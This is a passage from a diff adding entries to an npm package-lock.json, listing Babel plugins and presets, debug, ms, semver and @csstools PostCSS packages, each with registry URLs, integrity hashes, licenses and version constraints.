1678+ "integrity": "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA==",
1679+ "license": "MIT",
1680+ "dependencies": {
1681+ "@babel/helper-plugin-utils": "^7.27.1"
1682+ },
1683+ "engines": {
1684+ "node": ">=6.9.0"
1685+ },
1686+ "peerDependencies": {
1687+ "@babel/core": "^7.0.0-0"
1688+ }
1689+ },
1690+ "node_modules/@babel/plugin-transform-react-jsx": {
1691+ "version": "7.27.1",
1692+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.27.1.tgz",
1693+ "integrity": "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw==",
1694+ "license": "MIT",
1695+ "dependencies": {
1696+ "@babel/helper-annotate-as-pure": "^7.27.1",
1697+ "@babel/helper-module-imports": "^7.27.1",
1698+ "@babel/helper-plugin-utils": "^7.27.1",
1699+ "@babel/plugin-syntax-jsx": "^7.27.1",
1700+ "@babel/types": "^7.27.1"
1701+ },
1702+ "engines": {
1703+ "node": ">=6.9.0"
1704+ },
1705+ "peerDependencies": {
1706+ "@babel/core": "^7.0.0-0"
1707+ }
1708+ },
1709+ "node_modules/@babel/plugin-transform-react-jsx-development": {
1710+ "version": "7.27.1",
1711+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.27.1.tgz",
1712+ "integrity": "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q==",
1713+ "license": "MIT",
1714+ "dependencies": {
1715+ "@babel/plugin-transform-react-jsx": "^7.27.1"
1716+ },
1717+ "engines": {
1718+ "node": ">=6.9.0"
1719+ },
1720+ "peerDependencies": {
1721+ "@babel/core": "^7.0.0-0"
1722+ }
1723+ },
1724+ "node_modules/@babel/plugin-transform-react-pure-annotations": {
1725+ "version": "7.27.1",
1726+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.27.1.tgz",
1727+ "integrity": "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA==",
1728+ "license": "MIT",
1729+ "dependencies": {
1730+ "@babel/helper-annotate-as-pure": "^7.27.1",
1731+ "@babel/helper-plugin-utils": "^7.27.1"
1732+ },
1733+ "engines": {
1734+ "node": ">=6.9.0"
1735+ },
1736+ "peerDependencies": {
1737+ "@babel/core": "^7.0.0-0"
1738+ }
1739+ },
1740+ "node_modules/@babel/plugin-transform-regenerator": {
1741+ "version": "7.28.4",
1742+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.28.4.tgz",
1743+ "integrity": "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA==",
1744+ "license": "MIT",
1745+ "dependencies": {
1746+ "@babel/helper-plugin-utils": "^7.27.1"
1747+ },
1748+ "engines": {
1749+ "node": ">=6.9.0"
1750+ },
1751+ "peerDependencies": {
1752+ "@babel/core": "^7.0.0-0"
1753+ }
1754+ },
1755+ "node_modules/@babel/plugin-transform-regexp-modifiers": {
1756+ "version": "7.27.1",
1757+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.27.1.tgz",
1758+ "integrity": "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA==",
1759+ "license": "MIT",
1760+ "dependencies": {
1761+ "@babel/helper-create-regexp-features-plugin": "^7.27.1",
1762+ "@babel/helper-plugin-utils": "^7.27.1"
1763+ },
1764+ "engines": {
1765+ "node": ">=6.9.0"
1766+ },
1767+ "peerDependencies": {
1768+ "@babel/core": "^7.0.0"
1769+ }
1770+ },
1771+ "node_modules/@babel/plugin-transform-reserved-words": {
1772+ "version": "7.27.1",
1773+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.27.1.tgz",
1774+ "integrity": "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw==",
1775+ "license": "MIT",
1776+ "dependencies": {
1777+ "@babel/helper-plugin-utils": "^7.27.1"
1778+ },
1779+ "engines": {
1780+ "node": ">=6.9.0"
1781+ },
1782+ "peerDependencies": {
1783+ "@babel/core": "^7.0.0-0"
1784+ }
1785+ },
1786+ "node_modules/@babel/plugin-transform-runtime": {
1787+ "version": "7.28.5",
1788+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.28.5.tgz",
1789+ "integrity": "sha512-20NUVgOrinudkIBzQ2bNxP08YpKprUkRTiRSd2/Z5GOdPImJGkoN4Z7IQe1T5AdyKI1i5L6RBmluqdSzvaq9/w==",
1790+ "license": "MIT",
1791+ "dependencies": {
1792+ "@babel/helper-module-imports": "^7.27.1",
1793+ "@babel/helper-plugin-utils": "^7.27.1",
1794+ "babel-plugin-polyfill-corejs2": "^0.4.14",
1795+ "babel-plugin-polyfill-corejs3": "^0.13.0",
1796+ "babel-plugin-polyfill-regenerator": "^0.6.5",
1797+ "semver": "^6.3.1"
1798+ },
1799+ "engines": {
1800+ "node": ">=6.9.0"
1801+ },
1802+ "peerDependencies": {
1803+ "@babel/core": "^7.0.0-0"
1804+ }
1805+ },
1806+ "node_modules/@babel/plugin-transform-runtime/node_modules/semver": {
1807+ "version": "6.3.1",
1808+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
1809+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
1810+ "license": "ISC",
1811+ "bin": {
1812+ "semver": "bin/semver.js"
1813+ }
1814+ },
1815+ "node_modules/@babel/plugin-transform-shorthand-properties": {
1816+ "version": "7.27.1",
1817+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.27.1.tgz",
1818+ "integrity": "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ==",
1819+ "license": "MIT",
1820+ "dependencies": {
1821+ "@babel/helper-plugin-utils": "^7.27.1"
1822+ },
1823+ "engines": {
1824+ "node": ">=6.9.0"
1825+ },
1826+ "peerDependencies": {
1827+ "@babel/core": "^7.0.0-0"
1828+ }
1829+ },
1830+ "node_modules/@babel/plugin-transform-spread": {
1831+ "version": "7.27.1",
1832+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.27.1.tgz",
1833+ "integrity": "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q==",
1834+ "license": "MIT",
1835+ "dependencies": {
1836+ "@babel/helper-plugin-utils": "^7.27.1",
1837+ "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1"
1838+ },
1839+ "engines": {
1840+ "node": ">=6.9.0"
1841+ },
1842+ "peerDependencies": {
1843+ "@babel/core": "^7.0.0-0"
1844+ }
1845+ },
1846+ "node_modules/@babel/plugin-transform-sticky-regex": {
1847+ "version": "7.27.1",
1848+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.27.1.tgz",
1849+ "integrity": "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g==",
1850+ "license": "MIT",
1851+ "dependencies": {
1852+ "@babel/helper-plugin-utils": "^7.27.1"
1853+ },
1854+ "engines": {
1855+ "node": ">=6.9.0"
1856+ },
1857+ "peerDependencies": {
1858+ "@babel/core": "^7.0.0-0"
1859+ }
1860+ },
1861+ "node_modules/@babel/plugin-transform-template-literals": {
1862+ "version": "7.27.1",
1863+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.27.1.tgz",
1864+ "integrity": "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg==",
1865+ "license": "MIT",
1866+ "dependencies": {
1867+ "@babel/helper-plugin-utils": "^7.27.1"
1868+ },
1869+ "engines": {
1870+ "node": ">=6.9.0"
1871+ },
1872+ "peerDependencies": {
1873+ "@babel/core": "^7.0.0-0"
1874+ }
1875+ },
1876+ "node_modules/@babel/plugin-transform-typeof-symbol": {
1877+ "version": "7.27.1",
1878+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.27.1.tgz",
1879+ "integrity": "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw==",
1880+ "license": "MIT",
1881+ "dependencies": {
1882+ "@babel/helper-plugin-utils": "^7.27.1"
1883+ },
1884+ "engines": {
1885+ "node": ">=6.9.0"
1886+ },
1887+ "peerDependencies": {
1888+ "@babel/core": "^7.0.0-0"
1889+ }
1890+ },
1891+ "node_modules/@babel/plugin-transform-typescript": {
1892+ "version": "7.28.5",
1893+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.28.5.tgz",
1894+ "integrity": "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA==",
1895+ "license": "MIT",
1896+ "dependencies": {
1897+ "@babel/helper-annotate-as-pure": "^7.27.3",
1898+ "@babel/helper-create-class-features-plugin": "^7.28.5",
1899+ "@babel/helper-plugin-utils": "^7.27.1",
1900+ "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1",
1901+ "@babel/plugin-syntax-typescript": "^7.27.1"
1902+ },
1903+ "engines": {
1904+ "node": ">=6.9.0"
1905+ },
1906+ "peerDependencies": {
1907+ "@babel/core": "^7.0.0-0"
1908+ }
1909+ },
1910+ "node_modules/@babel/plugin-transform-unicode-escapes": {
1911+ "version": "7.27.1",
1912+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.27.1.tgz",
1913+ "integrity": "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg==",
1914+ "license": "MIT",
1915+ "dependencies": {
1916+ "@babel/helper-plugin-utils": "^7.27.1"
1917+ },
1918+ "engines": {
1919+ "node": ">=6.9.0"
1920+ },
1921+ "peerDependencies": {
1922+ "@babel/core": "^7.0.0-0"
1923+ }
1924+ },
1925+ "node_modules/@babel/plugin-transform-unicode-property-regex": {
1926+ "version": "7.27.1",
1927+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.27.1.tgz",
1928+ "integrity": "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q==",
1929+ "license": "MIT",
1930+ "dependencies": {
1931+ "@babel/helper-create-regexp-features-plugin": "^7.27.1",
1932+ "@babel/helper-plugin-utils": "^7.27.1"
1933+ },
1934+ "engines": {
1935+ "node": ">=6.9.0"
1936+ },
1937+ "peerDependencies": {
1938+ "@babel/core": "^7.0.0-0"
1939+ }
1940+ },
1941+ "node_modules/@babel/plugin-transform-unicode-regex": {
1942+ "version": "7.27.1",
1943+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.27.1.tgz",
1944+ "integrity": "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw==",
1945+ "license": "MIT",
1946+ "dependencies": {
1947+ "@babel/helper-create-regexp-features-plugin": "^7.27.1",
1948+ "@babel/helper-plugin-utils": "^7.27.1"
1949+ },
1950+ "engines": {
1951+ "node": ">=6.9.0"
1952+ },
1953+ "peerDependencies": {
1954+ "@babel/core": "^7.0.0-0"
1955+ }
1956+ },
1957+ "node_modules/@babel/plugin-transform-unicode-sets-regex": {
1958+ "version": "7.27.1",
1959+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.27.1.tgz",
1960+ "integrity": "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw==",
1961+ "license": "MIT",
1962+ "dependencies": {
1963+ "@babel/helper-create-regexp-features-plugin": "^7.27.1",
1964+ "@babel/helper-plugin-utils": "^7.27.1"
1965+ },
1966+ "engines": {
1967+ "node": ">=6.9.0"
1968+ },
1969+ "peerDependencies": {
1970+ "@babel/core": "^7.0.0"
1971+ }
1972+ },
1973+ "node_modules/@babel/preset-env": {
1974+ "version": "7.28.5",
1975+ "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.28.5.tgz",
1976+ "integrity": "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg==",
1977+ "license": "MIT",
1978+ "dependencies": {
1979+ "@babel/compat-data": "^7.28.5",
1980+ "@babel/helper-compilation-targets": "^7.27.2",
1981+ "@babel/helper-plugin-utils": "^7.27.1",
1982+ "@babel/helper-validator-option": "^7.27.1",
1983+ "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5",
1984+ "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1",
1985+ "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1",
1986+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1",
1987+ "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3",
1988+ "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2",
1989+ "@babel/plugin-syntax-import-assertions": "^7.27.1",
1990+ "@babel/plugin-syntax-import-attributes": "^7.27.1",
1991+ "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6",
1992+ "@babel/plugin-transform-arrow-functions": "^7.27.1",
1993+ "@babel/plugin-transform-async-generator-functions": "^7.28.0",
1994+ "@babel/plugin-transform-async-to-generator": "^7.27.1",
1995+ "@babel/plugin-transform-block-scoped-functions": "^7.27.1",
1996+ "@babel/plugin-transform-block-scoping": "^7.28.5",
1997+ "@babel/plugin-transform-class-properties": "^7.27.1",
1998+ "@babel/plugin-transform-class-static-block": "^7.28.3",
1999+ "@babel/plugin-transform-classes": "^7.28.4",
2000+ "@babel/plugin-transform-computed-properties": "^7.27.1",
2001+ "@babel/plugin-transform-destructuring": "^7.28.5",
2002+ "@babel/plugin-transform-dotall-regex": "^7.27.1",
2003+ "@babel/plugin-transform-duplicate-keys": "^7.27.1",
2004+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1",
2005+ "@babel/plugin-transform-dynamic-import": "^7.27.1",
2006+ "@babel/plugin-transform-explicit-resource-management": "^7.28.0",
2007+ "@babel/plugin-transform-exponentiation-operator": "^7.28.5",
2008+ "@babel/plugin-transform-export-namespace-from": "^7.27.1",
2009+ "@babel/plugin-transform-for-of": "^7.27.1",
2010+ "@babel/plugin-transform-function-name": "^7.27.1",
2011+ "@babel/plugin-transform-json-strings": "^7.27.1",
2012+ "@babel/plugin-transform-literals": "^7.27.1",
2013+ "@babel/plugin-transform-logical-assignment-operators": "^7.28.5",
2014+ "@babel/plugin-transform-member-expression-literals": "^7.27.1",
2015+ "@babel/plugin-transform-modules-amd": "^7.27.1",
2016+ "@babel/plugin-transform-modules-commonjs": "^7.27.1",
2017+ "@babel/plugin-transform-modules-systemjs": "^7.28.5",
2018+ "@babel/plugin-transform-modules-umd": "^7.27.1",
2019+ "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1",
2020+ "@babel/plugin-transform-new-target": "^7.27.1",
2021+ "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1",
2022+ "@babel/plugin-transform-numeric-separator": "^7.27.1",
2023+ "@babel/plugin-transform-object-rest-spread": "^7.28.4",
2024+ "@babel/plugin-transform-object-super": "^7.27.1",
2025+ "@babel/plugin-transform-optional-catch-binding": "^7.27.1",
2026+ "@babel/plugin-transform-optional-chaining": "^7.28.5",
2027+ "@babel/plugin-transform-parameters": "^7.27.7",
2028+ "@babel/plugin-transform-private-methods": "^7.27.1",
2029+ "@babel/plugin-transform-private-property-in-object": "^7.27.1",
2030+ "@babel/plugin-transform-property-literals": "^7.27.1",
2031+ "@babel/plugin-transform-regenerator": "^7.28.4",
2032+ "@babel/plugin-transform-regexp-modifiers": "^7.27.1",
2033+ "@babel/plugin-transform-reserved-words": "^7.27.1",
2034+ "@babel/plugin-transform-shorthand-properties": "^7.27.1",
2035+ "@babel/plugin-transform-spread": "^7.27.1",
2036+ "@babel/plugin-transform-sticky-regex": "^7.27.1",
2037+ "@babel/plugin-transform-template-literals": "^7.27.1",
2038+ "@babel/plugin-transform-typeof-symbol": "^7.27.1",
2039+ "@babel/plugin-transform-unicode-escapes": "^7.27.1",
2040+ "@babel/plugin-transform-unicode-property-regex": "^7.27.1",
2041+ "@babel/plugin-transform-unicode-regex": "^7.27.1",
2042+ "@babel/plugin-transform-unicode-sets-regex": "^7.27.1",
2043+ "@babel/preset-modules": "0.1.6-no-external-plugins",
2044+ "babel-plugin-polyfill-corejs2": "^0.4.14",
2045+ "babel-plugin-polyfill-corejs3": "^0.13.0",
2046+ "babel-plugin-polyfill-regenerator": "^0.6.5",
2047+ "core-js-compat": "^3.43.0",
2048+ "semver": "^6.3.1"
2049+ },
2050+ "engines": {
2051+ "node": ">=6.9.0"
2052+ },
2053+ "peerDependencies": {
2054+ "@babel/core": "^7.0.0-0"
2055+ }
2056+ },
2057+ "node_modules/@babel/preset-env/node_modules/semver": {
2058+ "version": "6.3.1",
2059+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
2060+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
2061+ "license": "ISC",
2062+ "bin": {
2063+ "semver": "bin/semver.js"
2064+ }
2065+ },
2066+ "node_modules/@babel/preset-modules": {
2067+ "version": "0.1.6-no-external-plugins",
2068+ "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz",
2069+ "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==",
2070+ "license": "MIT",
2071+ "dependencies": {
2072+ "@babel/helper-plugin-utils": "^7.0.0",
2073+ "@babel/types": "^7.4.4",
2074+ "esutils": "^2.0.2"
2075+ },
2076+ "peerDependencies": {
2077+ "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0"
2078+ }
2079+ },
2080+ "node_modules/@babel/preset-react": {
2081+ "version": "7.28.5",
2082+ "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.28.5.tgz",
2083+ "integrity": "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ==",
2084+ "license": "MIT",
2085+ "dependencies": {
2086+ "@babel/helper-plugin-utils": "^7.27.1",
2087+ "@babel/helper-validator-option": "^7.27.1",
2088+ "@babel/plugin-transform-react-display-name": "^7.28.0",
2089+ "@babel/plugin-transform-react-jsx": "^7.27.1",
2090+ "@babel/plugin-transform-react-jsx-development": "^7.27.1",
2091+ "@babel/plugin-transform-react-pure-annotations": "^7.27.1"
2092+ },
2093+ "engines": {
2094+ "node": ">=6.9.0"
2095+ },
2096+ "peerDependencies": {
2097+ "@babel/core": "^7.0.0-0"
2098+ }
2099+ },
2100+ "node_modules/@babel/preset-typescript": {
2101+ "version": "7.28.5",
2102+ "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.28.5.tgz",
2103+ "integrity": "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g==",
2104+ "license": "MIT",
2105+ "dependencies": {
2106+ "@babel/helper-plugin-utils": "^7.27.1",
2107+ "@babel/helper-validator-option": "^7.27.1",
2108+ "@babel/plugin-syntax-jsx": "^7.27.1",
2109+ "@babel/plugin-transform-modules-commonjs": "^7.27.1",
2110+ "@babel/plugin-transform-typescript": "^7.28.5"
2111+ },
2112+ "engines": {
2113+ "node": ">=6.9.0"
2114+ },
2115+ "peerDependencies": {
2116+ "@babel/core": "^7.0.0-0"
2117+ }
2118+ },
2119+ "node_modules/@babel/runtime": {
2120+ "version": "7.28.4",
2121+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.4.tgz",
2122+ "integrity": "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ==",
2123+ "license": "MIT",
2124+ "engines": {
2125+ "node": ">=6.9.0"
2126+ }
2127+ },
2128+ "node_modules/@babel/template": {
2129+ "version": "7.27.2",
2130+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",
2131+ "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==",
2132+ "license": "MIT",
2133+ "dependencies": {
2134+ "@babel/code-frame": "^7.27.1",
2135+ "@babel/parser": "^7.27.2",
2136+ "@babel/types": "^7.27.1"
2137+ },
2138+ "engines": {
2139+ "node": ">=6.9.0"
2140+ }
2141+ },
2142+ "node_modules/@babel/traverse": {
2143+ "version": "7.28.5",
2144+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz",
2145+ "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==",
2146+ "license": "MIT",
2147+ "dependencies": {
2148+ "@babel/code-frame": "^7.27.1",
2149+ "@babel/generator": "^7.28.5",
2150+ "@babel/helper-globals": "^7.28.0",
2151+ "@babel/parser": "^7.28.5",
2152+ "@babel/template": "^7.27.2",
2153+ "@babel/types": "^7.28.5",
2154+ "debug": "^4.3.1"
2155+ },
2156+ "engines": {
2157+ "node": ">=6.9.0"
2158+ }
2159+ },
2160+ "node_modules/@babel/traverse/node_modules/debug": {
2161+ "version": "4.4.3",
2162+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
2163+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
2164+ "license": "MIT",
2165+ "dependencies": {
2166+ "ms": "^2.1.3"
2167+ },
2168+ "engines": {
2169+ "node": ">=6.0"
2170+ },
2171+ "peerDependenciesMeta": {
2172+ "supports-color": {
2173+ "optional": true
2174+ }
2175+ }
2176+ },
2177+ "node_modules/@babel/traverse/node_modules/ms": {
2178+ "version": "2.1.3",
2179+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
2180+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
2181+ "license": "MIT"
2182+ },
2183+ "node_modules/@babel/types": {
2184+ "version": "7.28.5",
2185+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz",
2186+ "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==",
2187+ "license": "MIT",
2188+ "dependencies": {
2189+ "@babel/helper-string-parser": "^7.27.1",
2190+ "@babel/helper-validator-identifier": "^7.28.5"
2191+ },
2192+ "engines": {
2193+ "node": ">=6.9.0"
2194+ }
2195+ },
2196+ "node_modules/@bcoe/v8-coverage": {
2197+ "version": "0.2.3",
2198+ "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",
2199+ "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==",
2200+ "license": "MIT"
2201+ },
2202+ "node_modules/@csstools/normalize.css": {
2203+ "version": "12.1.1",
2204+ "resolved": "https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-12.1.1.tgz",
2205+ "integrity": "sha512-YAYeJ+Xqh7fUou1d1j9XHl44BmsuThiTr4iNrgCQ3J27IbhXsxXDGZ1cXv8Qvs99d4rBbLiSKy3+WZiet32PcQ==",
2206+ "license": "CC0-1.0"
2207+ },
2208+ "node_modules/@csstools/postcss-cascade-layers": {
2209+ "version": "1.1.1",
2210+ "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz",
2211+ "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==",
2212+ "license": "CC0-1.0",
2213+ "dependencies": {
2214+ "@csstools/selector-specificity": "^2.0.2",
2215+ "postcss-selector-parser": "^6.0.10"
2216+ },
2217+ "engines": {
2218+ "node": "^12 || ^14 || >=16"
2219+ },
2220+ "funding": {
2221+ "type": "opencollective",
2222+ "url": "https://opencollective.com/csstools"
2223+ },
2224+ "peerDependencies": {
2225+ "postcss": "^8.2"
2226+ }
2227+ },
2228+ "node_modules/@csstools/postcss-color-function": {
2229+ "version": "1.1.1",
2230+ "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz",
2231+ "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==",
2232+ "license": "CC0-1.0",
2233+ "dependencies": {
2234+ "@csstools/postcss-progressive-custom-properties": "^1.1.0",
2235+ "postcss-value-parser": "^4.2.0"
2236+ },
2237+ "engines": {
2238+ "node": "^12 || ^14 || >=16"
2239+ },
2240+ "funding": {
2241+ "type": "opencollective",
2242+ "url": "https://opencollective.com/csstools"
2243+ },
2244+ "peerDependencies": {
2245+ "postcss": "^8.2"
2246+ }
2247+ },
2248+ "node_modules/@csstools/postcss-font-format-keywords": {
2249+ "version": "1.0.1",
2250+ "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz",
2251+ "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==",
2252+ "license": "CC0-1.0",
2253+ "dependencies": {
2254+ "postcss-value-parser": "^4.2.0"
2255+ },
2256+ "engines": {
2257+ "node": "^12 || ^14 || >=16"
2258+ },
2259+ "funding": {
2260+ "type": "opencollective",
2261+ "url": "https://opencollective.com/csstools"
2262+ },
2263+ "peerDependencies": {
2264+ "postcss": "^8.2"
2265+ }
2266+ },
2267+ "node_modules/@csstools/postcss-hwb-function": {
2268+ "version": "1.0.2",
2269+ "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz",
2270+ "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==",
2271+ "license": "CC0-1.0",
2272+ "dependencies": {
2273+ "postcss-value-parser": "^4.2.0"
2274+ },
2275+ "engines": {
2276+ "node": "^12 || ^14 || >=16"
2277+ },
2278+ "funding": {
2279+ "type": "opencollective",
2280+ "url": "https://opencollective.com/csstools"
2281+ },
2282+ "peerDependencies": {
2283+ "postcss": "^8.2"
2284+ }
2285+ },
2286+ "node_modules/@csstools/postcss-ic-unit": {
2287+ "version": "1.0.1",
2288+ "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz",
